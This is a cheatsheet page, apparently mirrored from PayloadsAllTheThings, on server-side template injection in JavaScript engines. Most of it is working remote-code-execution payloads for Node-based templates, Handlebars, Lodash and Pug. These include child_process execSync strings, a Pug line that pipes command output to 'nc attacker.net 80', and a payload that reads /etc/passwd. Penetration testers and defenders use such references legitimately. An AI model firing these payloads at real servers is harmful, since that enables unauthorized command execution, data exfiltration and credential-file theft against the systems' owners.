daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

javascript.md (5862B)


      1 ---
      2 title: "Server Side Template Injection - JavaScript"
      3 topic: "Server Side Template Injection"
      4 topicSlug: "server-side-template-injection"
      5 sourcePath: "Server Side Template Injection/JavaScript.md"
      6 sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/Server%20Side%20Template%20Injection/JavaScript.md"
      7 sha: "3ac27901c711"
      8 isReadme: false
      9 ---
     10 
     11 # Server Side Template Injection - JavaScript
     12 
     13 > Server-Side Template Injection (SSTI)  occurs when an attacker can inject malicious code into a server-side template, causing the server to execute arbitrary commands. In the context of JavaScript, SSTI vulnerabilities can arise when using server-side templating engines like Handlebars, EJS, or Pug, where user input is integrated into templates without adequate sanitization.
     14 
     15 ## Summary
     16 
     17 - [Templating Libraries](#templating-libraries)
     18 - [Universal Payloads](#universal-payloads)
     19 - [Handlebars](#handlebars)
     20     - [Handlebars - Basic Injection](#handlebars---basic-injection)
     21     - [Handlebars - Command Execution](#handlebars---command-execution)
     22 - [Lodash](#lodash)
     23     - [Lodash - Basic Injection](#lodash---basic-injection)
     24     - [Lodash - Command Execution](#lodash---command-execution)
     25 - [Pug](#pug)
     26 - [References](#references)
     27 
     28 ## Templating Libraries
     29 
     30 | Template Name | Payload Format   |
     31 |---------------|------------------|
     32 | DotJS         | `{{= }}`         |
     33 | DustJS        | `{ }`            |
     34 | EJS           | `<% %>`          |
     35 | HandlebarsJS  | `{{ }}`          |
     36 | HoganJS       | `{{ }}`          |
     37 | Lodash        | `{{= }}`         |
     38 | MustacheJS    | `{{ }}`          |
     39 | NunjucksJS    | `{{ }}`          |
     40 | PugJS         | `#{ }`           |
     41 | TwigJS        | `{{ }}`          |
     42 | UnderscoreJS  | `<% %>`          |
     43 | VelocityJS    | `#=set($X="")$X` |
     44 | VueJS         | `{{ }}`          |
     45 
     46 ## Universal Payloads
     47 
     48 Generic code injection payloads work for many NodeJS-based template engines, such as DotJS, EJS, PugJS, UnderscoreJS and Eta.
     49 
     50 To use these payloads, wrap them in the appropriate tag.
     51 
     52 ```javascript
     53 // Rendered RCE
     54 global.process.mainModule.require("child_process").execSync("id").toString()
     55 
     56 // Error-Based RCE
     57 global.process.mainModule.require("Y:/A:/"+global.process.mainModule.require("child_process").execSync("id").toString())
     58 ""["x"][global.process.mainModule.require("child_process").execSync("id").toString()]
     59 
     60 // Boolean-Based RCE
     61 [""][0 + !(global.process.mainModule.require("child_process").spawnSync("id", options={shell:true}).status===0)]["length"]
     62 
     63 // Time-Based RCE
     64 global.process.mainModule.require("child_process").execSync("id && sleep 5").toString()
     65 ```
     66 
     67 NunjucksJS is also capable of executing these payloads using `{{range.constructor(' ... ')()}}`.
     68 
     69 ## Handlebars
     70 
     71 [Official website](https://handlebarsjs.com/)
     72 > Handlebars compiles templates into JavaScript functions.
     73 
     74 ### Handlebars - Basic Injection
     75 
     76 ```js
     77 {{this}}
     78 {{self}}
     79 ```
     80 
     81 ### Handlebars - Command Execution
     82 
     83 This payload only work in handlebars versions, fixed in [GHSA-q42p-pg8m-cqh6](https://github.com/advisories/GHSA-q42p-pg8m-cqh6):
     84 
     85 - `>= 4.1.0`, `< 4.1.2`
     86 - `>= 4.0.0`, `< 4.0.14`
     87 - `< 3.0.7`
     88 
     89 ```handlebars
     90 {{#with "s" as |string|}}
     91   {{#with "e"}}
     92     {{#with split as |conslist|}}
     93       {{this.pop}}
     94       {{this.push (lookup string.sub "constructor")}}
     95       {{this.pop}}
     96       {{#with string.split as |codelist|}}
     97         {{this.pop}}
     98         {{this.push "return require('child_process').execSync('ls -la');"}}
     99         {{this.pop}}
    100         {{#each conslist}}
    101           {{#with (string.sub.apply 0 codelist)}}
    102             {{this}}
    103           {{/with}}
    104         {{/each}}
    105       {{/with}}
    106     {{/with}}
    107   {{/with}}
    108 {{/with}}
    109 ```
    110 
    111 ---
    112 
    113 ## Lodash
    114 
    115 [Official website](https://lodash.com/docs/4.17.15)
    116 > A modern JavaScript utility library delivering modularity, performance & extras.
    117 
    118 ### Lodash - Basic Injection
    119 
    120 How to create a template:
    121 
    122 ```javascript
    123 const _ = require('lodash');
    124 string = "{{= username}}"
    125 const options = {
    126   evaluate: /\{\{(.+?)\}\}/g,
    127   interpolate: /\{\{=(.+?)\}\}/g,
    128   escape: /\{\{-(.+?)\}\}/g,
    129 };
    130 
    131 _.template(string, options);
    132 ```
    133 
    134 - **string:** The template string.
    135 - **options.interpolate:** It is a regular expression that specifies the HTML *interpolate* delimiter.
    136 - **options.evaluate:** It is a regular expression that specifies the HTML *evaluate* delimiter.
    137 - **options.escape:** It is a regular expression that specifies the HTML *escape* delimiter.
    138 
    139 For the purpose of RCE, the delimiter of templates is determined by the **options.evaluate** parameter.
    140 
    141 ```javascript
    142 {{= _.VERSION}}
    143 ${= _.VERSION}
    144 <%= _.VERSION %>
    145 
    146 
    147 {{= _.templateSettings.evaluate }}
    148 ${= _.VERSION}
    149 <%= _.VERSION %>
    150 ```
    151 
    152 ### Lodash - Command Execution
    153 
    154 ```js
    155 {{x=Object}}{{w=a=new x}}{{w.type="pipe"}}{{w.readable=1}}{{w.writable=1}}{{a.file="/bin/sh"}}{{a.args=["/bin/sh","-c","id;ls"]}}{{a.stdio=[w,w]}}{{process.binding("spawn_sync").spawn(a).output}}
    156 ```
    157 
    158 ---
    159 
    160 ## Pug
    161 
    162 > Universal payloads also work for Pug.
    163 
    164 [Official website](https://pugjs.org/api/getting-started.html)
    165 >
    166 
    167 ```javascript
    168 - var x = root.process
    169 - x = x.mainModule.require
    170 - x = x('child_process')
    171 = x.exec('id | nc attacker.net 80')
    172 ```
    173 
    174 ```javascript
    175 #{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
    176 ```
    177 
    178 ## References
    179 
    180 - [Exploiting Less.js to Achieve RCE - Jeremy Buis - July 1, 2021](https://web.archive.org/web/20210706135910/https://www.softwaresecured.com/exploiting-less-js/)
    181 - [Handlebars template injection and RCE in a Shopify app - Mahmoud Gamal - April 4, 2019](https://web.archive.org/web/20260207143828/https://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)
    182 - [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 3, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md)